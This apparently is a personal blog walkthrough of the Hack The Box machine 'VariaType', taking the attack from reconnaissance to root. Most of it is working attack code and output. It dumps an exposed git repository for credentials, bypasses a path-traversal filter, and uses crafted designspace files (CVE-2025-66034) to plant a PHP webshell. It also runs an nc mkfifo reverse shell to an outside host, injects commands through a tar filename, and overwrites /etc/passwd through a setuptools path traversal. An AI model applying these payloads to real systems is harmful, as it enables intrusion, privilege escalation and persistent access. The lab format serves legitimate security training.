IP=10.129.12.193
nmap -Pn -p- -T4 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# Nmap scan report for 10.129.12.193
# Host is up (0.031s latency).
#
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
# | ssh-hostkey:
# | 256 e0b2eb88e36add4cdbc1386546b53a1e (ECDSA)
# |_ 256 eed2bb814da28fdf1c50bce10e0ad122 (ED25519)
# 80/tcp open http nginx 1.22.1
# |_http-server-header: nginx/1.22.1
# |_http-title: Did not follow redirect to http://variatype.htb/
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 7.94 seconds
nmap -sU --min-rate=5000 -p- $IP
# Nothing
Adding variatype.htb to our /etc/hosts file we find a simple page that allows us to upload fonts and "designspace" files, whatever that is.

Looking for vHosts we find portal.variatype.htb:
ffuf -c -w `fzf-wordlists` -u "http://variatype.htb/" -H "Host: FUZZ.variatype.htb" -fs 169,2321
#
# /'___\ /'___\ /'___\
# /\ \__/ /\ \__/ __ __ /\ \__/
# \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
# \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
# \ \_\ \ \_\ \ \____/ \ \_\
# \/_/ \/_/ \/___/ \/_/
#
# v2.1.0
# ________________________________________________
#
# :: Method : GET
# :: URL : http://variatype.htb/
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# :: Header : Host: FUZZ.variatype.htb
# :: Follow redirects : false
# :: Calibration : false
# :: Timeout : 10
# :: Threads : 40
# :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
# :: Filter : Response size: 169,2321
# ________________________________________________
#
# portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 42ms]
# :: Progress: [4989/4989] :: Job [1/1] :: 1149 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
This site only gives us a login page, let's fuzz:
ffuf -c -w `fzf-wordlists` -u "http://portal.variatype.htb/FUZZ" -fs 169,2321
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
# ________________________________________________
#
# .git/index [Status: 200, Size: 137, Words: 2, Lines: 2, Duration: 32ms]
# .git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 35ms]
# .git/logs/ [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 38ms]
# .git/config [Status: 200, Size: 143, Words: 14, Lines: 9, Duration: 38ms]
# index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 55ms]
# :: Progress: [4750/4750] :: Job [1/1] :: 727 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
Very interesting, since we don't have directory listing enabled we wont be able to easily download all the objects, which is necessary to fetch deleted/older files and get access to the git log. Let's use a tool called git-dumped that is designed for this:
git-dumper http://portal.variatype.htb/.git/ out
# [-] Testing http://portal.variatype.htb/.git/HEAD [200]
# [-] Testing http://portal.variatype.htb/.git/ [403]
# [-] Fetching common files
# [-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
# [-] Fetching http://portal.variatype.htb/.gitignore [404]
# [-] http://portal.variatype.htb/.gitignore responded with status code 404
# [-] Fetching http://portal.variatype.htb/.git/description [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/applypatch-msg.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/commit-msg.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/post-update.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/post-receive.sample [404]
# [-] http://portal.variatype.htb/.git/hooks/post-receive.sample responded with status code 404
# [-] Fetching http://portal.variatype.htb/.git/hooks/post-commit.sample [404]
# [-] http://portal.variatype.htb/.git/hooks/post-commit.sample responded with status code 404
# [-] Fetching http://portal.variatype.htb/.git/hooks/pre-commit.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/pre-applypatch.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/pre-rebase.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/pre-receive.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/index [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/prepare-commit-msg.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/hooks/update.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/objects/info/packs [404]
# [-] http://portal.variatype.htb/.git/objects/info/packs responded with status code 404
# [-] Fetching http://portal.variatype.htb/.git/hooks/pre-push.sample [200]
# [-] Fetching http://portal.variatype.htb/.git/info/exclude [200]
# [-] Finding refs/
# [-] Fetching http://portal.variatype.htb/.git/FETCH_HEAD [404]
# [-] http://portal.variatype.htb/.git/FETCH_HEAD responded with status code 404
# [-] Fetching http://portal.variatype.htb/.git/HEAD [200]
# [-] Fetching http://portal.variatype.htb/.git/config [200]
# [-] Fetching http://portal.variatype.htb/.git/ORIG_HEAD [200]
# [-] Fetching http://portal.variatype.htb/.git/info/refs [404]
# <SNIP>
# [-] Finding packs
# [-] Finding objects
# [-] Fetching objects
# [-] Fetching http://portal.variatype.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
# [-] Fetching http://portal.variatype.htb/.git/objects/6f/021da6be7086f2595befaa025a83d1de99478b [200]
# [-] http://portal.variatype.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
# [-] Fetching http://portal.variatype.htb/.git/objects/61/5e621dce970c2c1c16d2a1e26c12658e3669b3 [200]
# [-] Fetching http://portal.variatype.htb/.git/objects/75/3b5f5957f2020480a19bf29a0ebc80267a4a3d [200]
# [-] Fetching http://portal.variatype.htb/.git/objects/50/30e791b764cb2a50fcb3e2279fea9737444870 [200]
# [-] Fetching http://portal.variatype.htb/.git/objects/c6/ea13ef05d96cf3f35f62f87df24ade29d1d6b4 [200]
# [-] Fetching http://portal.variatype.htb/.git/objects/03/0e929d424a937e9bd079794a7e1aaf366bcfaf [200]
# [-] Fetching http://portal.variatype.htb/.git/objects/b3/28305f0e85c2b97a7e2a94978ae20f16db75e8 [200]
# [-] Running git checkout .
cd out
ls .git
# COMMIT_EDITMSG config description HEAD hooks index info logs objects ORIG_HEAD refs
cat auth.php
# <?php
# session_start();
# $USERS = [];
There's only this `auth.php file, but it's pretty empty let's check the git history:
git log -p auth.php
# commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
# Author: Dev Team <dev@variatype.htb>
# Date: Fri Dec 5 15:59:33 2025 -0500
#
# fix: add gitbot user for automated validation pipeline
#
# diff --git a/auth.php b/auth.php
# index 615e621..b328305 100644
# --- a/auth.php
# +++ b/auth.php
# @@ -1,3 +1,5 @@
# <?php
# session_start();
# -$USERS = [];
# +$USERS = [
# + 'gitbot' => 'G1tB0t_Acc3ss_2025!'
# +];
#
# commit 5030e791b764cb2a50fcb3e2279fea9737444870
# Author: Dev Team <dev@variatype.htb>
# Date: Fri Dec 5 15:57:57 2025 -0500
#
# feat: initial portal implementation
#
# diff --git a/auth.php b/auth.php
# new file mode 100644
# index 0000000..615e621
# --- /dev/null
# +++ b/auth.php
# @@ -0,0 +1,3 @@
# +<?php
# +session_start();
# +$USERS = [];
Bingo! gitbot:G1tB0t_Acc3ss_2025!, let's try to connect.

We have access to the dashboard and can view our uploaded files. I tinkered with font upload for a bit before but the system is really picky on what it receives, I'm doing something wrong… I then looked at the googlefonts projects on github there's a bunch of designspace files and already built ttf's for them, but still nothing.
ffuf -c -w `fzf-wordlists` -u "http://portal.variatype.htb/FUZZ" -fs 169,2321 -e .php -b "PHPSESSID=7dd2p2vqa3j80j6k3dg69nr4oo"
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
# ________________________________________________
#
# .git/logs/ [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
# .git/config [Status: 200, Size: 143, Words: 14, Lines: 9, Duration: 38ms]
# .git/index [Status: 200, Size: 137, Words: 2, Lines: 2, Duration: 39ms]
# .git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 39ms]
# auth.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 33ms]
# dashboard.php [Status: 200, Size: 709, Words: 127, Lines: 30, Duration: 35ms]
# download.php [Status: 200, Size: 24, Words: 3, Lines: 1, Duration: 34ms]
# index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
# index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 35ms]
# view.php [Status: 200, Size: 18, Words: 3, Lines: 1, Duration: 92ms]
# :: Progress: [9500/9500] :: Job [1/1] :: 1025 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
We see:
download.php: File parameter required.view.php: Invalid file name.I tried basic path traversal with ?file= or ?filename= but I'm not getting any state change, let's fuzz for parameters instead:
ffuf -c -w `fzf-wordlists` -u "http://portal.variatype.htb/download.php?FUZZ=../../../../../etc/passwd" -fs 24 -b "PHPSESSID=7dd2p2vqa3j80j6k3dg69nr4oo"
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/burp-parameter-names.txt
# ________________________________________________
#
# f [Status: 200, Size: 15, Words: 3, Lines: 1, Duration: 37ms]
# :: Progress: [6453/6453] :: Job [1/1] :: 1176 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
This resulted in File not found., trying alternative path-traversal tricks worked, http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//passwd gives us:
cat /root/Downloads/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
I tried a lot of things and at some point I managed to read /var/nginx/nginx.conf:
include /etc/nginx/sites-enabled/variatype.htb;
include /etc/nginx/sites-enabled/portal.variatype.htb;
Then looking at both sites I realized why I was struggling to find them:
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
return 301 http://variatype.htb$request_uri;
}
server {
listen 80;
server_name variatype.htb;
access_log /var/log/nginx/variatype_access.log;
error_log /var/log/nginx/variatype_error.log;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 80;
server_name portal.variatype.htb;
root /var/www/portal.variatype.htb/public;
index index.php;
access_log /var/log/nginx/portal_access.log;
error_log /var/log/nginx/portal_error.log;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location /files/ {
autoindex off;
}
}
Portal has it's root located inside the /public folder. This is confusing since I though our initial ../ was to exit the "upload" folder.
From here I can look further, for example, the upload feature seems to be a python service running on the machine, this is further confirmed by the format of our cookie:
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZXJyb3IiLCJUaGUgbWFpbiBmaWxlIG11c3QgYmUgYSB2YWxpZCAuZGVzaWduc3BhY2UgZG9jdW1lbnQuIl19XX0.abf5RQ.uBErwq6Q5yV5ZGfn9FlVceX7ZX4; HttpOnly; Path=/
Let's see if we can locate the service/flask app on the system, looking at systemctl services I guessed and found: /etc/systemd/system/variatype.service which points to /opt/variatype/app.py:
import os
import tempfile
import subprocess
import shutil
import secrets
from flask import Flask, render_template, request, redirect, url_for, flash, send_file
app = Flask(__name__)
app.secret_key = '7e052f614c5f9d5da3249cc4c6d9a950053aed370b8464d2e8a81d41ff0e3371'
UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(DOWNLOAD_FOLDER, exist_ok=True)
# <SNIP>
@app.route('/tools/variable-font-generator/process', methods=['POST'])
def process_variable_font():
designspace = request.files.get('designspace')
master_fonts = request.files.getlist('masters')
if not designspace or not master_fonts:
flash('Please upload a .designspace file and at least one master font (.ttf/.otf).', 'error')
return redirect(url_for('variable_font_generator'))
if not designspace.filename.endswith('.designspace'):
flash('The main file must be a valid .designspace document.', 'error')
return redirect(url_for('variable_font_generator'))
unique_id = secrets.token_urlsafe(8)
download_filename = f"variabype_{unique_id}.ttf"
download_path = os.path.join(DOWNLOAD_FOLDER, download_filename)
with tempfile.TemporaryDirectory(dir=UPLOAD_FOLDER) as workdir:
ds_path = os.path.join(workdir, 'config.designspace')
designspace.save(ds_path)
for font in master_fonts:
if font.filename.endswith(('.ttf', '.otf')):
font.save(os.path.join(workdir, font.filename))
else:
flash('Only .ttf and .otf master fonts are supported.', 'error')
return redirect(url_for('variable_font_generator'))
try:
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir,
check=True,
timeout=30
)
# <SNIP>
I cut a lot but there's a couple interseting things, first, we don't need to successfully upload to get a valid file on the system, second, the script doesn't use any safe upload functions, instead it uses os.path.join and it trusts the filename blindly.
Now if this were an RCE scenario we need a way to visalize our trigger our webshell, unfortunately download.php forces the file to be downloaded, we can check by fetching the source code using the /download.php?f= for /var/www/portal.variatype.htb/public/download.php:
<?php
require_once 'auth.php';
require_login();
$file = $_GET['f'] ?? '';
if (!$file) {
die('File parameter required.');
}
$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;
if (!is_file($filepath)) {
die('File not found.');
}
// Forzar descarga
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit();
?>
The view.php file would have been exactly what we needed but it's pretty locked down and doesn't render files:
<strong>File:</strong> <?= htmlspecialchars($file) ?><br>
<strong>Size:</strong> <?= filesize($filepath) ?> bytes<br>
<strong>Last modified:</strong> <?= date('Y-m-d H:i:s', filemtime($filepath)) ?>
Ok let's ignore the full RCE for now, let's just get a file to upload where we want. The idea is that os.path.join() ignore the first argument if the second one starts with a /, so if we force the upload to go into the real portal /files/ then we should be able to access it on the dashboard.
We can intercept a request to upload, and change the name of our "masters" (ttf file) to:
------geckoformboundary9ede244a8b88751e5e3c8ba353a6abc9
Content-Disposition: form-data; name="masters"; filename="/var/www/portal.variatype.htb/public/files/testing_dashboard.ttf"
Content-Type: font/ttf
Though this doesn't work either… Let's look for vulnerabilities related to fonttools then, because the way the upload works doesn't give us much to work with.
I found this advisory for CVE-2025-66034 it contains a POC and describes a convoluted vulnerability that can generate a file anywhere and then write anything to that file, by bypassing the entire fonttools ttf generation mechanism. The first part is a path traversal attack and second one is an LFI through XXE. Let's try this, they also give a minimal POC to generate valid static TTF files.
We copy their POC and run it, it gives us two TTF's: source-light.ttf and source-regular.ttf, let's we forge our first malicious.designspace:
cat files/malicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="/var/www/portal.variatype.htb/public/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Now we upload our malicious.designspace and the 2 font files, and it worked! I believe my issue I had previously was that I was uploading only one file, and it requires two at least.
Now we can see that nagivating to http://portal.variatype.htb/shell.php shows a malformed file:

Let's keep going, now for step 2, we can abuse an XXE vulnerability to override the inject into our file a webshell:
cat files/malicious2.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousFont" filename="/var/www/portal.variatype.htb/public/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
I modified the initial payload instead of going with theirs, since I didn't really understand what they were doing, but the idea is to have data to inject inside labelname, actually I didn't even try but maybe this can be done in one-shot instead of two steps, anyways uploading malicious2.designspace and the same 2 ttf's worked.
Navigating to /shell.php?cmd=id gives us:

Amazing let's get a revshell going, on revshells.com I used "nc mkfifo" + URL encoding it worked fine, and we get a shell.
http://portal.variatype.htb/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.130%204444%20%3E%2Ftmp%2Ff
Looking around the system we see a backup of a scrip over at /opt/process_client_submissions.bak:
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
# <SNIP>
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
# <SNIP>
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
# <SNIP>
"; then
# <SNIP>
This is a very interesting script, since it's running python inside a specific folder we control, it first cd's into UPLOAD_DIR and then processes the files inside the directory using fontforge, there's multiple ways this can go, for example manipulating the python PATH, let's first check the version of fontforge:
/usr/local/src/fontforge/build/bin/fontforge -lang=py -c 'import fontforge; print(fontforge.__version__)'
# <SNIP>
# 20230101 git:a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
Looking on CVEDetails for this version of fontforge (the YYYYMMDD format) we find:
CVE Published Last Update Max CVSS Base Score EPSS Score CISA KEV Added Public Exploit Exists Summary
CVE-2024-25082 2024-02-26 2025-11-04 6.5 0.91% Splinefont in FontForge through 20230101 allows command injection via crafted archives or compressed files.
CVE-2024-25081 2024-02-26 2025-11-04 4.2 0.04% Splinefont in FontForge through 20230101 allows command injection via crafted filenames.
They have both a low CVSS and EPSS score which kind of under-sells their severity but we are in the perfect scenario to exploit them and get RCE as steve.
Though this is only a backup script, we need to confirm that there's traffic going on, I can't access current processes for other users so let's upload pspy:
./pspy
# pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
#
#
# ██▓███ ██████ ██▓███ ▓██ ██▓
# ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
# ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
# ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
# ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
# ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
# ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
# ░░ ░ ░ ░ ░░ ▒ ▒ ░░
# ░ ░ ░
# ░ ░
#
# Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
# ^[[ADraining file system events due to startup...
# done
# <SNIP>
# 2026/03/16 12:32:01 CMD: UID=0 PID=18844 | /usr/sbin/CRON -f
# 2026/03/16 12:32:01 CMD: UID=1000 PID=18846 | /bin/bash /home/steve/bin/process_client_submissions.sh
# 2026/03/16 12:32:01 CMD: UID=1000 PID=18851 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
# import fontforge
# import sys
# try:
# font = fontforge.open('variabype_8vvo6h6F5w4.ttf')
# family = getattr(font, 'familyname', 'Unknown')
# style = getattr(font, 'fontname', 'Default')
# print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
# font.close()
# except Exception as e:
# print(f'ERROR: Failed to process variabype_8vvo6h6F5w4.ttf: {e}', file=sys.stderr)
# sys.exit(1)
#
# 2026/03/16 12:32:02 CMD: UID=1000 PID=18858 | date --iso-8601=seconds
Perfect, there is indeed a /home/steve/bin/process_client_submissions.sh that runs every couple minutes and supposedly does the processing of the files like we saw in the backup.
I couldn't find a working POC but there are references to other CVEs that are similar like this XXE: CVE-2023-45139, so I just tried some different ideas through a tarball and got this to work:
import tarfile
with tarfile.open("payload.tar", "w") as tar:
info = tarfile.TarInfo("$(cp /bin/bash /tmp/steve_bash; chmod u+s /tmp/steve_bash)")
tar.addfile(info)
And let's upload it to the /var/www/portal.variatype.htb/public/files/ directory, then monitor pspy to see if it get processed:
# 2026/03/16 13:06:01 CMD: UID=0 PID=19174 | /usr/sbin/CRON -f
# 2026/03/16 13:06:01 CMD: UID=1000 PID=19176 | /bin/bash /home/steve/bin/process_client_submissions.sh
# 2026/03/16 13:06:02 CMD: UID=1000 PID=19188 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
# import fontforge
# import sys
# try:
# font = fontforge.open('payload.tar')
# family = getattr(font, 'familyname', 'Unknown')
# style = getattr(font, 'fontname', 'Default')
# print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
# font.close()
# except Exception as e:
# print(f'ERROR: Failed to process payload.tar: {e}', file=sys.stderr)
# sys.exit(1)
#
# 2026/03/16 13:06:02 CMD: UID=1000 PID=19189 | sh -c tar tf /var/www/portal.variatype.htb/public/files/payload.tar > /tmp/ffarchive-19187-1/ff-archive-table-of-contents
# 2026/03/16 13:06:02 CMD: UID=1000 PID=19191 | sh -c ( cd /tmp/ffarchive-19187-1 ; tar xf /var/www/portal.variatype.htb/public/files/payload.tar $(cp /bin/bash /tmp/steve_bash; chmod u+s /tmp/steve_bash) ) > /dev/null
# 2026/03/16 13:06:02 CMD: UID=1000 PID=19194 | /bin/bash /home/steve/bin/process_client_submissions.sh
Great it seems our file got extracted and our payload injection worked:
/tmp/steve_bash -p
id
# uid=33(www-data) gid=33(www-data) euid=1000(steve) groups=33(www-data)
Since this is just a SUID binary it's pretty cursed and depending on file permissions especially group ownership, we are limited, for example we can't read user.txt right now. Though we have write access to /home/steve, let's give ourselves a strong ssh access, first we generate a key on our host and then we upload the public:
mkdir -p /home/steve/.ssh
echo "ssh-rsa AAAAB<SNIP>yTQ== root@exegol-VariaType" >> /home/steve/.ssh/authorized_keys
chmod 600 /home/steve/.ssh/authorized_keys
Now we can ssh:
ssh -i keyname steve@variatype.htb
# Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
#
# The programs included with the Debian GNU/Linux system are free software;
# the exact distribution terms for each program are described in the
# individual files in /usr/share/doc/*/copyright.
#
# Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
# permitted by applicable law.
# Last login: Mon Mar 16 13:09:57 2026 from 10.10.14.130
steve@variatype:~$ cat user.txt
# <REDACTED>
sudo -l
# Matching Defaults entries for steve on variatype:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
#
# User steve may run the following commands on variatype:
# (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
Looking at this file:
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# <SNIP>
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
# <SNIP>
plugin_url = sys.argv[1]
# <SNIP>
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
# <SNIP>
main()
This is a very interesting script, there is one feature that is screaming at us:
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
This is very weird, let's look at the setuptools and PackageIndex version:
python3 -c 'from setuptools import package_index; print(package_index.__version__)'
# AttributeError: module 'setuptools.package_index' has no attribute '__version__'
python3 -c 'import setuptools; print(setuptools.__version__)'
# 78.1.0
Looking online for "setuptools PackageIndex path traversal" we find CVE-2025-47273 a path traversal vulnerability in PackageIndex, for setuptools<78.1.1, perfect let's see if we have a poc.
There's an issue that reports this vulnerability with a simple POC, the idea is pretty clear, we can write anywhere anyfile, for example they show with: %2fhome%2fuser%2f.ssh%2fauthorized_keys, while the ssh is a good idea, there's a chance SSH as root is disabled, so let's play it safe and overwrite the x on the root user in /etc/passwd, we can later revert that change.
First let's backup the original file on our machine and remove the x. Then we serve it through a HTTP server and then we run the exploit.
I first tried with a file called %2fetc%2fpasswd but this fails since I have to double encode, and in the end the install_validator.py just decodes once and creates the literal file:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.14.130/%252fetc%252fpasswd'
# 2026-03-18 05:03:04,315 [INFO] Attempting to install plugin from: http://10.10.14.130/%252fetc%252fpasswd
# 2026-03-18 05:03:04,326 [INFO] Downloading http://10.10.14.130/%252fetc%252fpasswd
# 2026-03-18 05:03:04,420 [INFO] Plugin installed at: /opt/font-tools/validators/%2fetc%2fpasswd
# [+] Plugin installed successfully.
So instead I tried creating the exact path on my host:
mkdir etc
mv %2fetc%2fpasswd etc/passwd
python3 -m http.server 80
With this it worked!
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.14.130/%2fetc%2fpasswd'
# 2026-03-18 05:07:42,133 [INFO] Attempting to install plugin from: http://10.10.14.130/%2fetc%2fpasswd
# 2026-03-18 05:07:42,142 [INFO] Downloading http://10.10.14.130/%2fetc%2fpasswd
# 2026-03-18 05:07:42,247 [INFO] Plugin installed at: /etc/passwd
# [+] Plugin installed successfully.
su root
cd /root
ls
# root.txt
cat root.txt
# <REDACTED>
As we can see our file correct got placed where we wanted:
head -n 1 /etc/passwd
# root::0:0:root:/root:/bin/bash
We can now revert this change by writing an x' back to the file, and giving ourselves a better persistant access by checking if ssh is enabled for root or by creating a persistant back door as a cron job.
2026 © Philippe Cheype
Base theme by Digital Garden